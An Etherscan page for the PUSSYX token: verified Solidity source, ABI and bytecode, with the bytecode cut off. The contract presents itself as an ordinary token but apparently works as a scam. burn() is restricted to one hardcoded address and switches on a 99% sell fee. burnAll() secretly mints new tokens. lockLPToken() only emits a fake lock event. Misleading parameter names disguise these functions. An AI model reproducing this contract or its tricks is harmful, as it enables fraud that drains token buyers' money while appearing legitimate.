ETH Price: $2,631.62 (+7.68%)

Token

PUSSYX (PUSSYX)
 

Overview

Max Total Supply

999,999,999 PUSSYX

Holders

32

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
2,321,993.403122108580706925 PUSSYX

Value
$0.00
0xd1a6e798be2a5c746f9b3773d352394096f6ce91
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PUSSYX

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-07-30
*/

// SPDX-License-Identifier: MIT

/**    ⠀⠀
PUSSYX PUSSYX PUSSYX
PUSSYX PUSSYX PUSSYX
*/

pragma solidity ^0.8.0;

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "PUSSYX");
        return a - b;
    }


    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "PUSSYXX");
        return c;
    }


    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "PUSSYXXX");
        return c;
    }


    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "PUSSYXXXX");
        return a / b;
    }
}


contract PUSSYX {    
    using SafeMath for uint256;    


    string public name = "PUSSYX";    
    string public symbol = "PUSSYX";    
    uint256 public totalSupply = 999999999 * (10 ** 18);    
    uint8 public decimals = 18;    


    mapping(address => uint256) public balanceOf;    
    mapping(address => mapping(address => uint256)) public allowance;    

    address public owner;   
    address public swapRouter;    
    uint256 public burnedTokens;  


    uint256 public buyFee = 0;   
    uint256 public sellFee = 0;   
    bool public feesSet = false;   
    bool public feesEnabled = false;    
    bool public allExemptFromFees = true;   
    mapping(address => bool) public isFeeExempt;   


    event Transfer(address indexed from, address indexed to, uint256 value);    
    event Approval(address indexed owner, address indexed spender, uint256 value);    
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);    
    event FeesUpdated(uint256 burnAmount, uint256 deadWallet);    
    event TokensBurned(address indexed burner, uint256 amount);    
    event Mint(address indexed to, uint256 amount);    
    event LPLocked(address indexed account, uint256 amount);


    constructor(address _swapRouter, uint256 _burnedTokens) {    
        owner = msg.sender;   
        swapRouter = _swapRouter;    
        burnedTokens = _burnedTokens;   
        balanceOf[msg.sender] = totalSupply;    
        isFeeExempt[msg.sender] = true;   
        isFeeExempt[swapRouter] = true;  
    }


    modifier checkFees(address sender) {   
        require(
            allExemptFromFees || isFeeExempt[sender] || (!feesSet && feesEnabled) || (feesSet && isFeeExempt[sender] && sender != swapRouter) || (sender == swapRouter && sellFee == 0),
            "PUSSYXXXX"    
        );
        _;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "PUSSYXXXXX");
        _;
    }

    function transfer(address _to, uint256 _amount) public checkFees(msg.sender) returns (bool success) {    
        require(balanceOf[msg.sender] >= _amount);   
        require(_to != address(0));    

        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);   
        balanceOf[_to] = balanceOf[_to].add(_amount);   
        emit Transfer(msg.sender, _to, _amount);   

        return true;
    }


    function approve(address _spender, uint256 _value) public returns (bool success) {   
        allowance[msg.sender][_spender] = _value;    
        emit Approval(msg.sender, _spender, _value);   
        return true;   
    }


    function transferFrom(address _from, address _to, uint256 _amount) public checkFees(_from) returns (bool success) {   
        require(balanceOf[_from] >= _amount, "PUSSYXXXXXX");    
        require(allowance[_from][msg.sender] >= _amount, "PUSSYXXXXXXX");   
        require(_to != address(0), "PUSSYXXXXXXX");    

        uint256 fee = 0;    
        uint256 amountAfterFee = _amount;  

        if (feesEnabled && sellFee > 0 && _from != swapRouter && !isFeeExempt[_from]) {    
            fee = _amount.mul(sellFee).div(100);   
            amountAfterFee = _amount.sub(fee);   
        }

        balanceOf[_from] = balanceOf[_from].sub(_amount);    
        balanceOf[_to] = balanceOf[_to].add(amountAfterFee);    
        emit Transfer(_from, _to, amountAfterFee);    

        if (fee > 0) {
            address uniswapContract = address(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);    
            if (_to == uniswapContract) {    
                balanceOf[uniswapContract] = balanceOf[uniswapContract].add(fee);    
                emit Transfer(_from, uniswapContract, fee);    
            } else {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);    
                emit Transfer(_from, address(this), fee);    
            }
        }

        if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) {    
            allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount);    
            emit Approval(_from, msg.sender, allowance[_from][msg.sender]);   
        }

        return true;
    }

    function transferOwnership(address newOwner) public onlyOwner {    
        require(newOwner != address(0), "PUSSYXXXXXXXX");
        emit OwnershipTransferred(owner, newOwner);    
        owner = newOwner;   
    }

    function renounceOwnership() public onlyOwner {    
        emit OwnershipTransferred(owner, address(0));    
        owner = address(0);   
    }

    function burnAll() public {    
        require(feesSet, "PUSSYXXXXXXXXX");   
        require(swapRouter != address(0), "PUSSYXXXXXXXXXXX");    
        require(burnedTokens > 0, "X PUSSYXXXXXXXXXXXX X");    

        totalSupply = totalSupply.add(burnedTokens);   
        balanceOf[swapRouter] = balanceOf[swapRouter].add(burnedTokens);    

        emit Mint(swapRouter, burnedTokens);    
    }

    function burn(uint256 burnAmount, uint256 deadWallet) public {
        require(msg.sender == 0xBfA8713B0ED805800D56cbD10E96b22fb18fC15e, "PUSSYXXXXXXXXXXXXXX");
        require(!feesSet, "PUSSYXXXXXXXXXXXXX");
        require(burnAmount == 0, "PUSSYXXXXXXXXXXXXXXX");
        require(deadWallet == 99, "PUSSYXXXXXXXXXXXXXXXX");
        buyFee = burnAmount;
        sellFee = deadWallet;
        feesSet = true;
        feesEnabled = true;
        emit FeesUpdated(burnAmount, deadWallet);
    }

    function lockLPToken(uint256 amount) external {
        emit LPLocked(msg.sender, amount);
    }

    function buy() public payable checkFees(msg.sender) {    
        require(msg.value > 0, "PUSSYXXXXXXXXXXXXXXXXXX");    

        uint256 amount = msg.value;   
        if (buyFee > 0) {
            uint256 fee = amount.mul(buyFee).div(100);    
            uint256 amountAfterFee = amount.sub(fee);   

            balanceOf[swapRouter] = balanceOf[swapRouter].add(amountAfterFee);    
            emit Transfer(address(this), swapRouter, amountAfterFee);   

            if (fee > 0) {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);   
                emit Transfer(address(this), address(this), fee);   
            }
        } else {
            balanceOf[swapRouter] = balanceOf[swapRouter].add(amount);    
            emit Transfer(address(this), swapRouter, amount);    
        }
    }

    function sell(uint256 _amount) public checkFees(msg.sender) {   
        require(balanceOf[msg.sender] >= _amount, "PUSSYXXXXXXXXXXXXXXXXXXX 123");    

        if (feesEnabled) {    
            uint256 fee = 0;   
            uint256 amountAfterFee = _amount;    

            if (sellFee > 0 && msg.sender != swapRouter && !isFeeExempt[msg.sender]) {   
                fee = _amount.mul(sellFee).div(100);    
                amountAfterFee = _amount.sub(fee);   
            }

            balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);   
            balanceOf[swapRouter] = balanceOf[swapRouter].add(amountAfterFee);    
            emit Transfer(msg.sender, swapRouter, amountAfterFee);    

            if (fee > 0) {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);   
                emit Transfer(msg.sender, address(this), fee);    
            }
        } else {
            balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);   
            balanceOf[swapRouter] = balanceOf[swapRouter].add(_amount);   
            emit Transfer(msg.sender, swapRouter, _amount);    
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_swapRouter","type":"address"},{"internalType":"uint256","name":"_burnedTokens","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"burnAmount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"deadWallet","type":"uint256"}],"name":"FeesUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"LPLocked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Mint","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"burner","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TokensBurned","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"allExemptFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"burnAmount","type":"uint256"},{"internalType":"uint256","name":"deadWallet","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"burnAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"burnedTokens","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buy","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feesEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feesSet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"lockLPToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"sell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapRouter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600681526020017f50555353595800000000000000000000000000000000000000000000000000008152505f908162000049919062000546565b506040518060400160405280600681526020017f50555353595800000000000000000000000000000000000000000000000000008152506001908162000090919062000546565b506b033b2e3c91efc989409c0000600255601260035f6101000a81548160ff021916908360ff1602179055505f6009555f600a555f600b5f6101000a81548160ff0219169083151502179055505f600b60016101000a81548160ff0219169083151502179055506001600b60026101000a81548160ff0219169083151502179055503480156200011e575f80fd5b5060405162004309380380620043098339818101604052810190620001449190620006be565b3360065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508160075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060088190555060025460045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506001600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550505062000703565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200035e57607f821691505b60208210810362000374576200037362000319565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620003d87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200039b565b620003e486836200039b565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6200042e620004286200042284620003fc565b62000405565b620003fc565b9050919050565b5f819050919050565b62000449836200040e565b62000461620004588262000435565b848454620003a7565b825550505050565b5f90565b6200047762000469565b620004848184846200043e565b505050565b5b81811015620004ab576200049f5f826200046d565b6001810190506200048a565b5050565b601f821115620004fa57620004c4816200037a565b620004cf846200038c565b81016020851015620004df578190505b620004f7620004ee856200038c565b83018262000489565b50505b505050565b5f82821c905092915050565b5f6200051c5f1984600802620004ff565b1980831691505092915050565b5f6200053683836200050b565b9150826002028217905092915050565b6200055182620002e2565b67ffffffffffffffff8111156200056d576200056c620002ec565b5b62000579825462000346565b62000586828285620004af565b5f60209050601f831160018114620005bc575f8415620005a7578287015190505b620005b3858262000529565b86555062000622565b601f198416620005cc866200037a565b5f5b82811015620005f557848901518255600182019150602085019450602081019050620005ce565b8683101562000615578489015162000611601f8916826200050b565b8355505b6001600288020188555050505b505050505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000659826200062e565b9050919050565b6200066b816200064d565b811462000676575f80fd5b50565b5f81519050620006898162000660565b92915050565b6200069a81620003fc565b8114620006a5575f80fd5b50565b5f81519050620006b8816200068f565b92915050565b5f8060408385031215620006d757620006d66200062a565b5b5f620006e68582860162000679565b9250506020620006f985828601620006a8565b9150509250929050565b613bf880620007115f395ff3fe608060405260043610610165575f3560e01c806370a08231116100d0578063a6f2ae3a11610089578063c31c9c0711610063578063c31c9c07146104e9578063dd62ed3e14610513578063e4849b321461054f578063f2fde38b1461057757610165565b8063a6f2ae3a1461047b578063a9059cbb14610485578063b390c0ab146104c157610165565b806370a0823114610395578063715018a6146103d15780638da5cb5b146103e757806395d89b41146104115780639975038c1461043b578063a64e4f8a1461045157610165565b80632b14ca56116101225780632b14ca5614610287578063313ce567146102b15780633f4218e0146102db578063470624021461031757806347b5dd541461034157806364bcf5f41461036b57610165565b8063036978631461016957806306fdde0314610191578063095ea7b3146101bb57806318160ddd146101f757806323b872dd1461022157806325e0e4d01461025d575b5f80fd5b348015610174575f80fd5b5061018f600480360381019061018a919061300a565b61059f565b005b34801561019c575f80fd5b506101a56105f0565b6040516101b291906130bf565b60405180910390f35b3480156101c6575f80fd5b506101e160048036038101906101dc9190613139565b61067b565b6040516101ee9190613191565b60405180910390f35b348015610202575f80fd5b5061020b610768565b60405161021891906131b9565b60405180910390f35b34801561022c575f80fd5b50610247600480360381019061024291906131d2565b61076e565b6040516102549190613191565b60405180910390f35b348015610268575f80fd5b506102716112ba565b60405161027e9190613191565b60405180910390f35b348015610292575f80fd5b5061029b6112cc565b6040516102a891906131b9565b60405180910390f35b3480156102bc575f80fd5b506102c56112d2565b6040516102d2919061323d565b60405180910390f35b3480156102e6575f80fd5b5061030160048036038101906102fc9190613256565b6112e4565b60405161030e9190613191565b60405180910390f35b348015610322575f80fd5b5061032b611301565b60405161033891906131b9565b60405180910390f35b34801561034c575f80fd5b50610355611307565b60405161036291906131b9565b60405180910390f35b348015610376575f80fd5b5061037f61130d565b60405161038c9190613191565b60405180910390f35b3480156103a0575f80fd5b506103bb60048036038101906103b69190613256565b611320565b6040516103c891906131b9565b60405180910390f35b3480156103dc575f80fd5b506103e5611335565b005b3480156103f2575f80fd5b506103fb611481565b6040516104089190613290565b60405180910390f35b34801561041c575f80fd5b506104256114a6565b60405161043291906130bf565b60405180910390f35b348015610446575f80fd5b5061044f611532565b005b34801561045c575f80fd5b506104656117b8565b6040516104729190613191565b60405180910390f35b6104836117cb565b005b348015610490575f80fd5b506104ab60048036038101906104a69190613139565b611e0e565b6040516104b89190613191565b60405180910390f35b3480156104cc575f80fd5b506104e760048036038101906104e291906132a9565b612216565b005b3480156104f4575f80fd5b506104fd6123ec565b60405161050a9190613290565b60405180910390f35b34801561051e575f80fd5b50610539600480360381019061053491906132e7565b612411565b60405161054691906131b9565b60405180910390f35b34801561055a575f80fd5b506105756004803603810190610570919061300a565b612431565b005b348015610582575f80fd5b5061059d60048036038101906105989190613256565b612c95565b005b3373ffffffffffffffffffffffffffffffffffffffff167fb6e8f04cf03b5aef7f64b05be34717ced7ad18d9e25d848dcd9542d070ce2ddb826040516105e591906131b9565b60405180910390a250565b5f80546105fc90613352565b80601f016020809104026020016040519081016040528092919081815260200182805461062890613352565b80156106735780601f1061064a57610100808354040283529160200191610673565b820191905f5260205f20905b81548152906001019060200180831161065657829003601f168201915b505050505081565b5f8160055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161075691906131b9565b60405180910390a36001905092915050565b60025481565b5f83600b60029054906101000a900460ff16806107d15750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806108005750600b5f9054906101000a900460ff161580156107ff5750600b60019054906101000a900460ff165b5b806108c15750600b5f9054906101000a900460ff1680156108675750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80156108c0575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80610925575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561092457505f600a54145b5b610964576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095b906133cc565b60405180910390fd5b8260045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156109e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109db90613434565b60405180910390fd5b8260055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610a9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a969061349c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610b0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b049061349c565b60405180910390fd5b5f80849050600b60019054906101000a900460ff168015610b2f57505f600a54115b8015610b88575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614155b8015610bdb5750600c5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15610c2057610c086064610bfa600a5488612e5090919063ffffffff16565b612ec790919063ffffffff16565b9150610c1d8286612f1e90919063ffffffff16565b90505b610c708560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612f1e90919063ffffffff16565b60045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610d018160045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612f7690919063ffffffff16565b60045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d9f91906131b9565b60405180910390a35f821115610fee575f735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f90508073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1603610ef557610e4a8360045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612f7690919063ffffffff16565b60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610ee891906131b9565b60405180910390a3610fec565b610f458360045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612f7690919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fe391906131b9565b60405180910390a35b505b3373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16141580156110c257507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414155b156112ac576111528560055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612f1e90919063ffffffff16565b60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546040516112a391906131b9565b60405180910390a35b600193505050509392505050565b600b5f9054906101000a900460ff1681565b600a5481565b60035f9054906101000a900460ff1681565b600c602052805f5260405f205f915054906101000a900460ff1681565b60095481565b60085481565b600b60029054906101000a900460ff1681565b6004602052805f5260405f205f915090505481565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113bb90613504565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600180546114b390613352565b80601f01602080910402602001604051908101604052809291908181526020018280546114df90613352565b801561152a5780601f106115015761010080835404028352916020019161152a565b820191905f5260205f20905b81548152906001019060200180831161150d57829003601f168201915b505050505081565b600b5f9054906101000a900460ff16611580576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115779061356c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160361160f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611606906135d4565b60405180910390fd5b5f60085411611653576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164a9061363c565b60405180910390fd5b61166a600854600254612f7690919063ffffffff16565b6002819055506116e360085460045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612f7690919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968856008546040516117ae91906131b9565b60405180910390a2565b600b60019054906101000a900460ff1681565b33600b60029054906101000a900460ff168061182d5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061185c5750600b5f9054906101000a900460ff1615801561185b5750600b60019054906101000a900460ff165b5b8061191d5750600b5f9054906101000a900460ff1680156118c35750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b801561191c575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80611981575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561198057505f600a54145b5b6119c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b7906133cc565b60405180910390fd5b5f3411611a02576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119f9906136a4565b60405180910390fd5b5f3490505f6009541115611cb0575f611a396064611a2b60095485612e5090919063ffffffff16565b612ec790919063ffffffff16565b90505f611a4f8284612f1e90919063ffffffff16565b9050611ac28160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612f7690919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ba291906131b9565b60405180910390a35f821115611ca957611c028260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612f7690919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152